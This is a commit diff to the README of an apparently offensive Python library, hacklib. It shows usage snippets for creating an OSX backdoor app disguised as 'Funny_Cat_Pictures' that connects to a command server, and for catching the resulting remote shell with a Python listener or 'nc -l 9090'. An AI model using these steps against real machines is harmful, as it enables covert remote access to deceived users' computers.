Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit c2e7df9

Browse files
authored
Server still sketchy
1 parent 0def061 commit c2e7df9

File tree

1 file changed

+1
-15
lines changed

1 file changed

+1
-15
lines changed

README.md

Lines changed: 1 addition & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -50,22 +50,8 @@ bd = hacklib.Backdoor()
5050
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
5151
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
5252
```
53-
-
5453

55-
Shell listener (Use in conjunction with the backdoor):
56-
```python
57-
import hacklib
58-
# Create instance of Server with the listening port
59-
>>> s = hacklib.Server(9090)
60-
>>> s.listen()
61-
New connection ('127.0.0.1', 51101)
62-
bash: no job control in this shell
63-
bash-3.2$ whoami
64-
leon
65-
bash-3.2$
66-
# Sweet!
67-
```
68-
In addition, you can also listen with netcat:
54+
Listen for connections with netcat:
6955
```
7056
nc -l 9090
7157
```

0 commit comments

Comments
 (0)